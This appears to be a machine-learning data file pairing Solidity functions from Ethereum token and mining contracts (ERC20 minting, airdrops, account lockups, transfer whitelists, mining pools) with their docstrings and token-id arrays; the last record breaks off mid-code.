allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender * Added due to backwards compatibility with ERC20 * @param _owner address The address which owns the funds * @param _spender address The address which will spend the funds */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowance[_owner][_spender]; } /** * @dev Burns a specific amount of tokens. * @param _from The address that will burn the tokens. * @param _unitAmount The amount of token to be burned. */ function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf[_from] >= _unitAmount); balanceOf[_from] = balanceOf[_from].sub(_unitAmount); totalSupply = totalSupply.sub(_unitAmount); emit Burn(_from, _unitAmount); } modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _unitAmount The amount of tokens to mint. */ function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) { require(_unitAmount > 0); totalSupply = totalSupply.add(_unitAmount); balanceOf[_to] = balanceOf[_to].add(_unitAmount); emit Mint(_to, _unitAmount); emit Transfer(address(0), _to, _unitAmount); return true; } /** * @dev Function to stop minting new tokens. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } /** * @dev Function to distribute tokens to the list of addresses by the provided amount */ function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) { require(amount > 0 && addresses.length > 0 && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); amount = amount.mul(1e8); uint256 totalAmount = amount.mul(addresses.length); require(balanceOf[msg.sender] >= totalAmount); for (uint j = 0; j < addresses.length; j++) { require(addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount); emit Transfer(msg.sender, addresses[j], amount); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); uint256 totalAmount = 0; for(uint j = 0; j < addresses.length; j++){ require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); totalAmount = totalAmount.add(amounts[j]); } require(balanceOf[msg.sender] >= totalAmount); for (j = 0; j < addresses.length; j++) { balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]); emit Transfer(msg.sender, addresses[j], amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } /** * @dev Function to collect tokens from the list of addresses */ function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length); uint256 totalAmount = 0; for (uint j = 0; j < addresses.length; j++) { require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); require(balanceOf[addresses[j]] >= amounts[j]); balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]); totalAmount = totalAmount.add(amounts[j]); emit Transfer(addresses[j], msg.sender, amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount); return true; } function setDistributeAmount(uint256 _unitAmount) onlyOwner public { distributeAmount = _unitAmount; } /** * @dev Function to distribute tokens to the msg.sender automatically * If distributeAmount is 0, this function doesn&#39;t work */ function autoDistribute() payable public { require(distributeAmount > 0 && balanceOf[activityFunds] >= distributeAmount && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); if(msg.value > 0) activityFunds.transfer(msg.value); balanceOf[activityFunds] = balanceOf[activityFunds].sub(distributeAmount); balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount); emit Transfer(activityFunds, msg.sender, distributeAmount); } /** * @dev fallback function */ function() payable public { autoDistribute(); } }
* @dev Prevent targets from sending or receiving tokens by setting Unix times @param targets Addresses to be locked funds @param unixTimes Unix times when locking up will be finished/
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public { require(targets.length > 0 && targets.length == unixTimes.length); for(uint j = 0; j < targets.length; j++){ require(unlockUnixTime[targets[j]] < unixTimes[j]); unlockUnixTime[targets[j]] = unixTimes[j]; emit LockedFunds(targets[j], unixTimes[j]); } }
2,081,129
[ 1, 25828, 5774, 628, 5431, 578, 15847, 2430, 635, 3637, 9480, 4124, 225, 5774, 23443, 358, 506, 8586, 284, 19156, 225, 9753, 10694, 9480, 4124, 1347, 18887, 731, 903, 506, 6708, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2176, 416, 13971, 12, 2867, 8526, 5774, 16, 2254, 8526, 9753, 10694, 13, 1338, 5541, 1071, 288, 203, 3639, 2583, 12, 11358, 18, 2469, 405, 374, 203, 7734, 597, 5774, 18, 2469, 422, 9753, 10694, 18, 2469, 1769, 203, 203, 3639, 364, 12, 11890, 525, 273, 374, 31, 525, 411, 5774, 18, 2469, 31, 525, 27245, 95, 203, 5411, 2583, 12, 26226, 18729, 950, 63, 11358, 63, 78, 13563, 411, 9753, 10694, 63, 78, 19226, 203, 5411, 7186, 18729, 950, 63, 11358, 63, 78, 13563, 273, 9753, 10694, 63, 78, 15533, 203, 5411, 3626, 3488, 329, 42, 19156, 12, 11358, 63, 78, 6487, 9753, 10694, 63, 78, 19226, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x30101C09adC32B486d27fe8F6997e825a27b9FC0/sources/contracts/interfaces/core/IRenovaQuest.sol
@notice Emitted when a player deposits a token for a Quest. @param player The player who deposits the token. @param token The address of the token (0x0 for native token). @param amount The amount of token being deposited.
event DepositToken(address indexed player, address token, uint256 amount);
8,324,369
[ 1, 1514, 11541, 1347, 279, 7291, 443, 917, 1282, 279, 1147, 364, 279, 4783, 395, 18, 225, 7291, 1021, 7291, 10354, 443, 917, 1282, 326, 1147, 18, 225, 1147, 1021, 1758, 434, 326, 1147, 261, 20, 92, 20, 364, 6448, 1147, 2934, 225, 3844, 1021, 3844, 434, 1147, 3832, 443, 1724, 329, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 871, 4019, 538, 305, 1345, 12, 2867, 8808, 7291, 16, 1758, 1147, 16, 2254, 5034, 3844, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; // File: zos-lib/contracts/migrations/Migratable.sol /** * @title Migratable * Helper contract to support intialization and migration schemes between * different implementations of a contract in the context of upgradeability. * To use it, replace the constructor with a function that has the * `isInitializer` modifier starting with `"0"` as `migrationId`. * When you want to apply some migration code during an upgrade, increase * the `migrationId`. Or, if the migration code must be applied only after * another migration has been already applied, use the `isMigration` modifier. * This helper supports multiple inheritance. * WARNING: It is the developer's responsibility to ensure that migrations are * applied in a correct order, or that they are run at all. * See `Initializable` for a simpler version. */ contract Migratable { /** * @dev Emitted when the contract applies a migration. * @param contractName Name of the Contract. * @param migrationId Identifier of the migration applied. */ event Migrated(string contractName, string migrationId); /** * @dev Mapping of the already applied migrations. * (contractName => (migrationId => bool)) */ mapping (string => mapping (string => bool)) internal migrated; /** * @dev Internal migration id used to specify that a contract has already been initialized. */ string constant private INITIALIZED_ID = "initialized"; /** * @dev Modifier to use in the initialization function of a contract. * @param contractName Name of the contract. * @param migrationId Identifier of the migration. */ modifier isInitializer(string contractName, string migrationId) { validateMigrationIsPending(contractName, INITIALIZED_ID); validateMigrationIsPending(contractName, migrationId); _; emit Migrated(contractName, migrationId); migrated[contractName][migrationId] = true; migrated[contractName][INITIALIZED_ID] = true; } /** * @dev Modifier to use in the migration of a contract. * @param contractName Name of the contract. * @param requiredMigrationId Identifier of the previous migration, required * to apply new one. * @param newMigrationId Identifier of the new migration to be applied. */ modifier isMigration(string contractName, string requiredMigrationId, string newMigrationId) { require(isMigrated(contractName, requiredMigrationId), "Prerequisite migration ID has not been run yet"); validateMigrationIsPending(contractName, newMigrationId); _; emit Migrated(contractName, newMigrationId); migrated[contractName][newMigrationId] = true; } /** * @dev Returns true if the contract migration was applied. * @param contractName Name of the contract. * @param migrationId Identifier of the migration. * @return true if the contract migration was applied, false otherwise. */ function isMigrated(string contractName, string migrationId) public view returns(bool) { return migrated[contractName][migrationId]; } /** * @dev Initializer that marks the contract as initialized. * It is important to run this if you had deployed a previous version of a Migratable contract. * For more information see https://github.com/zeppelinos/zos-lib/issues/158. */ function initialize() isInitializer("Migratable", "1.2.1") public { } /** * @dev Reverts if the requested migration was already executed. * @param contractName Name of the contract. * @param migrationId Identifier of the migration. */ function validateMigrationIsPending(string contractName, string migrationId) private { require(!isMigrated(contractName, migrationId), "Requested target migration ID has already been run"); } } // File: openzeppelin-zos/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-zos/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: openzeppelin-zos/contracts/token/ERC20/DetailedERC20.sol contract DetailedERC20 is Migratable, ERC20 { string public name; string public symbol; uint8 public decimals; function initialize(string _name, string _symbol, uint8 _decimals) public isInitializer("DetailedERC20", "1.9.0") { name = _name; symbol = _symbol; decimals = _decimals; } } // File: openzeppelin-zos/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: openzeppelin-zos/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: openzeppelin-zos/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: openzeppelin-zos/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable is Migratable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function initialize(address _sender) public isInitializer("Ownable", "1.9.0") { owner = _sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: openzeppelin-zos/contracts/token/ERC20/MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is Migratable, Ownable, StandardToken { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function initialize(address _sender) isInitializer("MintableToken", "1.9.0") public { Ownable.initialize(_sender); } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } // File: openzeppelin-zos/contracts/token/ERC20/DetailedPremintedToken.sol contract DetailedPremintedToken is Migratable, DetailedERC20, StandardToken { function initialize( address _sender, string _name, string _symbol, uint8 _decimals, uint256 _initialBalance ) isInitializer("DetailedPremintedToken", "1.9.0") public { DetailedERC20.initialize(_name, _symbol, _decimals); _premint(_sender, _initialBalance); } function _premint(address _to, uint256 _value) internal { totalSupply_ += _value; balances[_to] += _value; emit Transfer(0, _to, _value); } } // File: contracts/S4FE.sol /** * @title S4FE * @dev ERC20 Token, where all tokens are pre-assigned to the creator. * Note they can later distribute these tokens as they wish using `transfer` */ contract S4FE is Ownable, DetailedPremintedToken { uint256 public INITIAL_SUPPLY; bool public transferLocked; mapping (address => bool) public transferWhitelist; /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() public { } /** * @dev initialize method to start constructor logic * * @param _owner address of owner */ function initializeS4FE(address _owner) isInitializer('S4FE', '0') public { INITIAL_SUPPLY = 1000000000 * (10 ** uint256(18)); Ownable.initialize(_owner); DetailedPremintedToken.initialize(_owner, "S4FE", "S4F", 18, INITIAL_SUPPLY); } /** * @dev if ether is sent to this address, send it back. */ function () public { revert(); } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(msg.sender == owner || transferLocked == false || transferWhitelist[msg.sender] == true); bool result = super.transfer(_to , _value); return result; } /** * @dev transfer lock status * @param _transferLocked Boolean indicating if transfer is locked */ function setTransferLocked(bool _transferLocked) onlyOwner public returns (bool) { transferLocked = _transferLocked; return transferLocked; } /** * @dev transfer lock status * @param _address Address of account indicating if allowed * @param _transferLocked Boolean indicating if transfer is locked */ function setTransferWhitelist(address _address, bool _transferLocked) onlyOwner public returns (bool) { transferWhitelist[_address] = _transferLocked; return _transferLocked; } /** * @dev whitelist addresses * @param _addresses Array of address of account for whitelist */ function whitelist(address[] _addresses) onlyOwner public { for(uint i = 0; i < _addresses.length ; i ++) { transferWhitelist[_addresses[i]] = true; } } /** * @dev blacklist addresses * @param _addresses Array of address of account for whitelist */ function blacklist(address[] _addresses) onlyOwner public { for(uint i = 0; i < _addresses.length ; i ++) { transferWhitelist[_addresses[i]] = false; } } }
* @dev transfer token for a specified address @param _to The address to transfer to. @param _value The amount to be transferred./
function transfer(address _to, uint256 _value) public returns (bool) { require(msg.sender == owner || transferLocked == false || transferWhitelist[msg.sender] == true); bool result = super.transfer(_to , _value); return result; }
213,422
[ 1, 13866, 1147, 364, 279, 1269, 1758, 225, 389, 869, 1021, 1758, 358, 7412, 358, 18, 225, 389, 1132, 1021, 3844, 358, 506, 906, 4193, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 7412, 12, 2867, 389, 869, 16, 2254, 5034, 389, 1132, 13, 1071, 1135, 261, 6430, 13, 288, 203, 202, 202, 6528, 12, 3576, 18, 15330, 422, 3410, 747, 7412, 8966, 422, 629, 747, 7412, 18927, 63, 3576, 18, 15330, 65, 422, 638, 1769, 203, 203, 202, 202, 6430, 563, 273, 2240, 18, 13866, 24899, 869, 269, 389, 1132, 1769, 203, 202, 202, 2463, 563, 31, 203, 202, 97, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.7.4; import "@openzeppelin/contracts/access/Ownable.sol"; // erc20 interface for mcb token transfer interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function balanceOf(address owner) external returns (uint256); function transferFrom(address from, address to, uint256 value) external returns (bool); } contract Mining is Ownable { address internal _mcb; int256 internal _budget; int256 internal _rebateRate; address[] internal _pools; mapping(address => address) internal _poolCollaterals; event AddMiningPool(address indexed pool, address indexed collateral); event DelMiningPool(address indexed pool); event RebateRateChange(int256 prevRebateRate, int256 newRebateRate); event MiningBudgetChange(int256 prevBudget, int256 newBudget); event RewardPaid(address indexed user, uint256 reward, uint256 paidBlock); constructor(address mcb) Ownable() { _mcb = mcb; } /** * @notice Get budget of mining * @return int256 The budget of mining */ function getBudget() public view returns (int256) { return _budget; } /** * @notice Get MCB token address * @return address The address of mcb token */ function getMCBToken() public view returns (address) { return _mcb; } /** * @notice Get the rebate rate of mining * @return int256 The rebate rate of mining */ function getRebateRate() public view returns (int256) { return _rebateRate; } /** * @notice Get all mining pool address * @return pools The address of mining pools */ function getMiningPools() public view returns (address[] memory pools) { return _pools; } /** * @notice add mining pool. Can only called by owner. * * @param pool pool address for mining * @param collateral collateral address of pool */ function addMiningPool(address pool, address collateral) external onlyOwner { require(pool != address(0), "invalid pool address"); require(collateral != address(0), "invalid collateral address"); require(_poolCollaterals[pool] == address(0), "pool already exists"); _pools.push(pool); _poolCollaterals[pool] = collateral; emit AddMiningPool(pool, collateral); } /** * @notice delete mining pool. Can only called by owner. * * @param pool pool address for mining */ function delMiningPool(address pool) external onlyOwner { require(pool != address(0), "invalid pool address"); require(_poolCollaterals[pool] != address(0), "pool not exists"); uint256 i = 0; uint256 len = _pools.length; for (i = 0; i < len; i++) { if (_pools[i] == pool) { break; } } delete _pools[i]; delete _poolCollaterals[pool]; emit DelMiningPool(pool); } /** * @notice Set new mining rebate rate. Can only called by owner. * * @param newRebateRate mining rebate rate */ function setRebateRate(int256 newRebateRate) external onlyOwner { require(newRebateRate >= 0, "negative rebate rate"); require(_rebateRate != newRebateRate, "unchanged rate"); emit RebateRateChange(_rebateRate, newRebateRate); _rebateRate = newRebateRate; } /** * @notice Set new mining budget. Can only called by owner. * * @param newBudget mining budget */ function setMingingBudget(int256 newBudget) external onlyOwner { require(newBudget >= 0, "negative budget"); require(_budget != newBudget, "unchanged budget"); emit MiningBudgetChange(_budget, newBudget); _budget = newBudget; } /** * @notice disperse mcb to miners. Can only called by owner. * * @param recipients miner addresses * @param values miner rewards * @param paidBlock blocknumber of calculate reward */ function disperseMCB(address[] memory recipients, uint256[] memory values, uint256 paidBlock) external onlyOwner { IERC20 token = 